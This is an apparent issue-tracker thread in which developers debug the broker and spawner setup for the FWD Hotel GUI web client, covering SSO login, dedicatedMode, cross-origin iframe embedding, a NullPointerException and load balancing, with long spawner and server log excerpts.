fwd@fwddev2:~/projects/hotel_gui/deploy/broker$ ../client/client.sh -bc broker1_client.xml 
INFO: Spawn process started with pid 3094.
INFO: The password length(data read): 120(3).
INFO: Check user account for: fwd.
INFO: The password is not null.
INFO: GetSPNam not null, used password from structure.
INFO: Attempt to use login with password.
INFO: Passwords comparison result: 0.
INFO: Spawn cmd (java) in workdir (/home/fwd/projects/hotel_gui/deploy/broker).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/broker.

But the web page shows:

The webpage at https://fwddev2:43337/index.html?token=41d25655ed7500527400ade98c069ea8 might be temporarily down or it may have moved permanently to a new web address.

The fwddev2 process list contains the spawner with:

fwd         3157  0.0  0.0  27188  3944 pts/1    Ss+  19:28   0:00 /opt/spawner/spawn 1 fwd /home/fwd/projects/hotel_gui/deploy/broker java -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/fwd/build/lib/ -classpath /home/fwd/projects/fwd/build/lib/p2j.jar com.goldencode.p2j.main.ClientDriver net:server:host=fwddev1 net:socket:nio=false net:ssl:trackSeqNo=false net:connection:secure=true net:server:secure_port=3333 server:spawner:uuid=2ba5583c-7fdb-4dc4-84eb-14701d4a0e84 client:web:port=7450 client:web:host=fwddev2 client:web:dedicatedMode=false

If I recall correctly, you indicated that all values (webClient/host, net:server:host and remote:agent:host) should be fwddev2. But when I do that, I get fwddev2 refused to connect. on the web page.

Roger, I investigated your results in #9709-128 and concluded that it is the same reason why this page cannot be opened by the iframe while its parent page is from the different web server that can be observed when dedicatedMode=true. It needs a cross pages access but the Same-Origin Policy prevents this to work properly.

So your setup is ok now. If I do not miss a root cause, then we should somehow allow the cross-origin pages included into our web page via iframe.

Greg, what do you propose to resolve this case?

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

Roger, please remove sso login and use OS user login. Please watch these directory changes for hotel_gui:
[...]

Oh my... So the Sso plugin is not supported for broker clients? I made the changes, and signed in with "fwd/fwd" instead of "hotel/hotel", and it worked. I'm trying to setup the fwddev2 server again.

I think so because SSO plugin has been developed after the broker code.

There is a bug in the trunk version if the broker client is exited by CTRL+C, then on the server side its resources are not released due to this NPE:

25/10/16 11:33:07.704+0300 |  SEVERE | com.goldencode.p2j.main.ServerDriver | ThreadName:Reader [00000001:broker1_process] | Unhandled exception thrown:
java.lang.NullPointerException
    at com.goldencode.p2j.main.BrokerManager.removeUserHostWithCheck(BrokerManager.java:521)
    at com.goldencode.p2j.main.BrokerManager.deregisterBroker(BrokerManager.java:503)
    at com.goldencode.p2j.main.Broker.removeBroker(Broker.java:164)
    at com.goldencode.p2j.main.BrokerManager.removeBroker(BrokerManager.java:764)
    at com.goldencode.p2j.main.BrokerManager.access$000(BrokerManager.java:93)
    at com.goldencode.p2j.main.BrokerManager$1.terminate(BrokerManager.java:126)
    at com.goldencode.p2j.net.BaseSession.sendTerminationEvent(BaseSession.java:528)
    at com.goldencode.p2j.net.SessionManager.notifyTermination(SessionManager.java:1823)
    at com.goldencode.p2j.net.Queue.stop(Queue.java:502)
    at com.goldencode.p2j.net.Protocol.stopQueue(Protocol.java:429)
    at com.goldencode.p2j.net.Protocol.access$700(Protocol.java:171)
    at com.goldencode.p2j.net.Protocol$Reader.run(Protocol.java:533)
    at java.lang.Thread.run(Thread.java:750)

Sergey Ivanovskiy wrote:

So your setup is ok now. If I do not miss a root cause, then we should somehow allow the cross-origin pages included into our web page via iframe.

Greg, what do you propose to resolve this case?

I have not been following this too closely as the task has been flooded with debug-level details. Please make a proposal.

Sergey Ivanovskiy wrote:

Roger Borrello wrote:

Sergey Ivanovskiy wrote:

Roger, please remove sso login and use OS user login. Please watch these directory changes for hotel_gui:
[...]

Oh my... So the Sso plugin is not supported for broker clients? I made the changes, and signed in with "fwd/fwd" instead of "hotel/hotel", and it worked. I'm trying to setup the fwddev2 server again.

I think so because SSO plugin has been developed after the broker code.

Propose how to fix this.

1. Fix NPE #9709-134
2. Fix broker mode for SSO enabled plugin #9709-136
3. Enable cross-origin support in the case of the broker environment #9709-135

because I do not know if 9709a, where the direct port mapping was implemented #9709-32, #9709-35, is needed or not for running FWD under virtual machine environments.

Sergey Ivanovskiy wrote:

because I do not know if 9709a, where the direct port mapping was implemented #9709-32, #9709-35, is needed or not for running FWD under virtual machine environments.

I notice the logs I mentioned regarding #9709-30 contained the same issues as I saw in #9709-128 (java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt). Any relation to #10565 ?

I am not sure of how the 9709a updates should be tested. There is an internal network in Docker that it might need to address, but I am testing in "normal" configuration at this time (with VMs). I am not pursing Docker until I can get this setup properly.

Roger Borrello wrote:

I notice the logs I mentioned regarding #9709-30 contained the same issues as I saw in #9709-128 (java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt). Any relation to #10565 ?

Yes, I think that it is #10565 and there is the customer that encountered the same issue. Please see links in #10565.

Sergey Ivanovskiy wrote:

Roger Borrello wrote:

I notice the logs I mentioned regarding #9709-30 contained the same issues as I saw in #9709-128 (java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt). Any relation to #10565 ?

Yes, I think that it is #10565 and there is the customer that encountered the same issue. Please see links in #10565.

We have also seen this appearing on another customer application (task #9524). If there is an explanation/solution, I would be very interested in knowing.

Greg Shah wrote:

Sergey Ivanovskiy wrote:

So your setup is ok now. If I do not miss a root cause, then we should somehow allow the cross-origin pages included into our web page via iframe.

Greg, what do you propose to resolve this case?

I have not been following this too closely as the task has been flooded with debug-level details. Please make a proposal.

To make sure we are on the same page, let's level set. We want to be able to load balance many browser users amongst an assigned set of clients. Is one of these accurate to support 100 users?

• http://fwddev2:7443/gui
• http://fwddev3:7443/gui
• http://fwddev4:7443/gui
• http://fwddev5:7443/gui

Each of those hosts would have a broker connecting to fwddev1 (the main server).

Or

• fwddev2
• fwddev3
• fwddev4
• fwddev5

Each of those would service 25 users.

Radu Apetrii wrote:

Sergey Ivanovskiy wrote:

Roger Borrello wrote:

I notice the logs I mentioned regarding #9709-30 contained the same issues as I saw in #9709-128 (java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt). Any relation to #10565 ?

Yes, I think that it is #10565 and there is the customer that encountered the same issue. Please see links in #10565.

We have also seen this appearing on another customer application (task #9524). If there is an explanation/solution, I would be very interested in knowing.

This is somehow related to different network interfaces and this exception is logged only for the network interface that is different from the target one. It needs to do experiments, for an example to start the web server to listen only the target interface.

We would direct groups of 25 to one of 4 assigned webClient hosts:

Nope. That would require 4 FWD servers. That is NOT the idea here.

We would direct all 100 to one webClient host: http://fwddev1:7443/gui and that would distribute to one of 4 brokers:

Yep. The clients are the distributed things in this approach.

Roger Borrello wrote:

We would direct all 100 to one webClient host: http://fwddev1:7443/gui and that would distribute to one of 4 brokers:

• fwddev2
• fwddev3
• fwddev4
• fwddev5

Each of those would service 25 users.

• ./deploy/broker/broker_client.xml with net:server:host=fwddev1 and remote:agent:host=fwddevx (x is server, 2, 3...)

and the fwddev1 directory.xml file contain additional processes for broker2, broker3,...?

My intention is to be able to extend the basic configuration via prepare_dir.sh with appropriate additions to the JSON file for each broker specified. Of course we need to determine what is wrong with the very basic configuration first.

Yes, it seems correct.

I investigated the Hotel GUI with the broker client and SSO enabled plugin. The broker client correctly delivered all parameters to spawn a new client process:

25/10/17 08:20:20.656+0300 |    INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.spawn()] | ThreadName:main | Command line arguments: [/home/sbi/opt/hotel_gui/spawn, 0, 3333, 192.168.100.28, standard, 778ad91a-4879-4ab4-b7a4-992883408875, net:socket:nio=false, net:ssl:trackSeqNo=false, sbi, "", /home/sbi/projects/hotel_gui/deploy/client, java, -Xmx1G, -Djava.awt.headless=true, -XX:MaxPermSize=64m, -Djava.library.path=/home/sbi/projects/9709b/build/lib/, -Dfile.encoding=UTF-8, -Xdebug, -Xnoagent, -Djava.compiler=NONE, -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n, -classpath, /home/sbi/projects/9709b/build/lib/p2j.jar, com.goldencode.p2j.main.ClientDriver, net:server:host=192.168.100.28, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=3333, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=778ad91a-4879-4ab4-b7a4-992883408875, client:web:port=7449, client:web:host=192.168.100.28, client:web:dedicatedMode=false]

INFO: Spawn process started with pid 12474.
25/10/17 08:20:20.768+0300 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = 192.168.100.28; port = 3333; secure = true;
25/10/17 08:20:20.937+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.100.28:44633 -> 192.168.100.28/192.168.100.28:3333
25/10/17 08:20:20.938+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/17 08:20:20.938+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/17 08:20:20.939+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/17 08:20:20.939+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/17 08:20:20.940+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/17 08:20:20.940+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/17 08:20:20.940+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/17 08:20:20.941+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/17 08:20:20.941+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/17 08:20:20.941+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/17 08:20:20.941+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/17 08:20:20.941+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'EcO554BBqv88u634'
25/10/17 08:20:21.039+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/17 08:20:21.041+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/17 08:20:21.046+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/17 08:20:21.048+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/17 08:20:21.049+0300 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/17 08:20:21.049+0300 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (778ad91a-4879-4ab4-b7a4-992883408875)
25/10/17 08:20:21.049+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/17 08:20:21.051+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[470]
25/10/17 08:20:21.052+0300 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [sbi, "", /home/sbi/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=778ad91a-4879-4ab4-b7a4-992883408875]
25/10/17 08:20:21.052+0300 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 3
25/10/17 08:20:21.052+0300 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
    at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
    at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
    at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
    at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:177)
INFO: The argument number 0 is: sbi.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/sbi/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -XX:MaxPermSize=64m.
INFO: The argument number 7 is: -Djava.library.path=/home/sbi/projects/9709b/build/lib/.
INFO: The argument number 8 is: -Dfile.encoding=UTF-8.
INFO: The argument number 9 is: -Xdebug.
INFO: The argument number 10 is: -Xnoagent.
INFO: The argument number 11 is: -Djava.compiler=NONE.
INFO: The argument number 12 is: -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n.
INFO: The argument number 13 is: -classpath.
INFO: The argument number 14 is: /home/sbi/projects/9709b/build/lib/p2j.jar.
INFO: The argument number 15 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 16 is: net:server:host=192.168.100.28.
INFO: The argument number 17 is: net:socket:nio=false.
INFO: The argument number 18 is: net:ssl:trackSeqNo=false.
INFO: The argument number 19 is: net:connection:secure=true.
INFO: The argument number 20 is: net:server:secure_port=3333.
INFO: The argument number 21 is: sso:subject:id=bogus.
INFO: The argument number 22 is: sso:storage:id=storage-hotel.
INFO: The argument number 23 is: server:spawner:uuid=778ad91a-4879-4ab4-b7a4-992883408875.
INFO: Check user account for: sbi.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/sbi/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/sbi/projects/hotel_gui/deploy/client.
OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=64m; support was removed in 8.0

According the code the spawned process does not read arguments provided with command line directly but delegates
this task to NativeSecureConnection.command and the last one makes the remote call via RemoteSpawner interface to get the prepared command via the server side object ClientBuilder.getCommand to retrieve the command from the server side. Thus WebClientBuilder.addClientOption is important to form addition parameters. The initial user request is processed by WebDriverHandler that should add missed parameters to the cached command via WebClientBuilderParameters.

Committed revision 16225 (9709b) should fix 1 and 2 issues listed in #9709-137.
Roger, please review the changes of 9709b. Did you observe issue 3 referenced in #9709-137 with 9709b?

Greg, it seems that the dedicated mode has no meaning for our new web client because the web client has been included into iframe but previously it was included into new page redirecting http request to new page. The web client in the dedicated mode was not accessed from the external network. Does we need the dedicated web client now?

Please point me to the documentation for dedicated mode. I don't recall the details.

Greg Shah wrote:

Please point me to the documentation for dedicated mode. I don't recall the details.

I found this #3287-72.

If I understand correctly the dedicated mode conception, then it means that the spawned web client accepts only local requests so the web client uri has localhost in it host part. Correct?

We don't have any customers using this today. Right now we don't have any customers planning to use this.

BUT it is still not clear to me what code you are planning to remove or disable. Please be more specific.

I don't want to remove but dedicatedMode at this moment is assigned via the broker client in its settings. If we continue the support of this mode, then I need to deliver this setting to the server by adding to BrokerClientServices new method boolean getDedicatedMode().

It is OK to disable dedicated mode. Leave comments behind to make it clear where you have disabled something. Minimize the changes.

Greg Shah wrote:

It is OK to disable dedicated mode. Leave comments behind to make it clear where you have disabled something. Minimize the changes.

It follows from my code search that the changes to disable this feature is more huge than the changes to fix
WebClientBuilderParameters.

OK, then just fix it.

OK. Committed revision 16226 (9709b) fixed dedicatedMode to be correctly passed to the spawned web client.

The rest issue is the issue 3 referenced in #9709-137 that the web client embedded web server should permit to embed its web client page into the web page from the different domain.

Sergey Ivanovskiy wrote:

OK. Committed revision 16226 (9709b) fixed dedicatedMode to be correctly passed to the spawned web client.

The rest issue is the issue 3 referenced in #9709-137 that the web client embedded web server should permit to embed its web client page into the web page from the different domain.

I have tried to test this, and I may have a bad directory.xml configuration, since I am still getting NULL URI. Can you post your directory.xml and broker1_client.xml?

Please check that you are using 9709b and post the console log of broker client. The log results should not depend on the directory settings. My environment is set up to use SSO login. You should have similar logs:

sbi@ubuntu:~/projects/hotel_gui/deploy/client$ export TERM=xterm;./client.sh -cbroker1_client.xml
INFO: Spawn process started with pid 37258.
25/10/20 18:26:51.488+0300 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = 192.168.100.28; port = 3333; secure = true;
25/10/20 18:26:51.659+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.100.28:34269 -> 192.168.100.28/192.168.100.28:3333
25/10/20 18:26:51.661+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/20 18:26:51.661+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/20 18:26:51.662+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 18:26:51.662+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 18:26:51.662+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/20 18:26:51.662+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/20 18:26:51.662+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/20 18:26:51.663+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 18:26:51.663+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/20 18:26:51.664+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/20 18:26:51.664+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/20 18:26:51.664+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'ue190q96di06dWc9'
25/10/20 18:26:51.770+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/20 18:26:51.772+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/20 18:26:51.777+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/20 18:26:51.779+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/20 18:26:51.780+0300 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/20 18:26:51.780+0300 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (f94f16ce-0835-4eae-80a0-8bc68b79d78d)
25/10/20 18:26:51.781+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/20 18:26:51.783+0300 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[562]
25/10/20 18:26:51.783+0300 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [sbi, "", /home/sbi/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=192.168.100.28, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, server:spawner:uuid=f94f16ce-0835-4eae-80a0-8bc68b79d78d]
25/10/20 18:26:51.783+0300 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 3
25/10/20 18:26:51.784+0300 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
    at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
    at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
    at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
    at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:179)
INFO: The argument number 0 is: sbi.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/sbi/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -XX:MaxPermSize=64m.
INFO: The argument number 7 is: -Djava.library.path=/home/sbi/projects/9709b/build/lib/.
INFO: The argument number 8 is: -Dfile.encoding=UTF-8.
INFO: The argument number 9 is: -Xdebug.
INFO: The argument number 10 is: -Xnoagent.
INFO: The argument number 11 is: -Djava.compiler=NONE.
INFO: The argument number 12 is: -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n.
INFO: The argument number 13 is: -classpath.
INFO: The argument number 14 is: /home/sbi/projects/9709b/build/lib/p2j.jar.
INFO: The argument number 15 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 16 is: net:server:host=192.168.100.28.
INFO: The argument number 17 is: net:socket:nio=false.
INFO: The argument number 18 is: net:ssl:trackSeqNo=false.
INFO: The argument number 19 is: net:connection:secure=true.
INFO: The argument number 20 is: net:server:secure_port=3333.
INFO: The argument number 21 is: sso:subject:id=bogus.
INFO: The argument number 22 is: sso:storage:id=storage-hotel.
INFO: The argument number 23 is: client:web:host=192.168.100.28.
INFO: The argument number 24 is: remote:agent:dedicatedMode=true.
INFO: The argument number 25 is: server:spawner:uuid=f94f16ce-0835-4eae-80a0-8bc68b79d78d.
INFO: Check user account for: sbi.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/sbi/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/sbi/projects/hotel_gui/deploy/client.
OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=64m; support was removed in 8.0

Sergey Ivanovskiy wrote:

Please check that you are using 9709b and post the console log of broker client. The log results should not depend on the directory settings. My environment is set up to use SSO login. You should have similar logs:
[...]

How is the FINER logging set for the spawner output? I was getting it, now I am not, so I may have reset something.

fwd@fwddev2:~/projects/hotel_gui/deploy/broker$ ../client/client.sh -bc broker1_client.xml
INFO: Spawn process started with pid 1541.
INFO: The password length(data read): 120(3).
INFO: Check user account for: fwd.
INFO: The password is not null.
INFO: GetSPNam not null, used password from structure.
INFO: Attempt to use login with password.
INFO: Passwords comparison result: 0.
INFO: Spawn cmd (java) in workdir (/home/fwd/projects/hotel_gui/deploy/broker).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/broker.

I put the SSO plug-in back into the directory.xml, and now I get better, but not correct results. I was redirected back to the laptop where I am browsing from (.227).

The server log (fwddev1/192.168.1.241) after I start the broker client contains:

25/10/20 11:55:41.472-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1376720994-58 | not available host:port localhost/127.0.0.1:7449.
25/10/20 11:55:48.929-0400 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp1376720994-58 | Returns the redirect url https://fwddev1:7449/index.html?token=9e78d8ae969b27f179e525f93c4f41a9 as response to GUI client.
25/10/20 11:55:54.523-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.523-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [lato,8,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.524-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [liberation mono,8,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,12,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [liberation mono,9,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [lato,9,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,9,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,8,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,10,true,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,10,false,false,false,false,0] has no legacy metrics.
25/10/20 11:55:54.525-0400 | WARNING | com.goldencode.p2j.ui.FontTable | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | Font [open sans,11,false,false,false,false,0] has no legacy metrics.
25/10/20 11:56:01.326-0400 |    INFO | com.goldencode.p2j.persist.DatabaseManager | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus/storage-hotel | Connecting to [hotel]
25/10/20 11:58:15.555-0400 | WARNING | com.goldencode.p2j.persist.lock.LockManager | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | [00000004:00000005:bogus] --> local/hotel/primary:  cleaning up 2 leaked record lock(s) for exiting context ({room_type={room_type:30058=SHARE [bogus:00000004], room_type:-9223372036854775808=SHARE [bogus:00000004]}})
25/10/20 11:58:15.618-0400 | WARNING | com.goldencode.p2j.security.SecurityContext | ThreadName:Conversation [00000004:bogus], Session:00000004, ThreadId:00000005, User:bogus | SecurityContext.cleanupWorker did not complete properly - the following tokens are still in use: [com.goldencode.p2j.util.Utils$ContextContainer, com.goldencode.p2j.persist.meta.LockTableUpdater$1, com.goldencode.p2j.util.SessionUtils$1, com.goldencode.p2j.util.SessionUtils$2]
25/10/20 11:59:05.298-0400 |    INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000005:broker1_process], Session:00000005, ThreadId:00000006, User:broker1_process | Broker user=broker1_process uuid=a4697c17-60f2-4b33-9619-95f9d621665c registered.
25/10/20 11:59:57.378-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1376720994-59 | not available host:port fwddev2/192.168.1.162:7449.
25/10/20 12:00:02.797-0400 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp1376720994-59 | Returns the redirect url https://192.168.1.227:37347/index.html?token=e3b383841dcfd6781f2af6b22972cff3 as response to GUI client.

The screen on the broker client (fwddev2/192.168.1.162) now has details (what controls that?) and shows:

fwd@fwddev2:~/projects/hotel_gui/deploy/broker$ ../client/client.sh -bc broker1_client.xml
INFO: Spawn process started with pid 1747.
25/10/20 11:59:57.808-0400 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/10/20 11:59:58.269-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:41693 -> fwddev1/192.168.1.241:3333
25/10/20 11:59:58.272-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/20 11:59:58.273-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/20 11:59:58.275-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 11:59:58.276-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/20 11:59:58.276-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/20 11:59:58.277-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/20 11:59:58.278-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
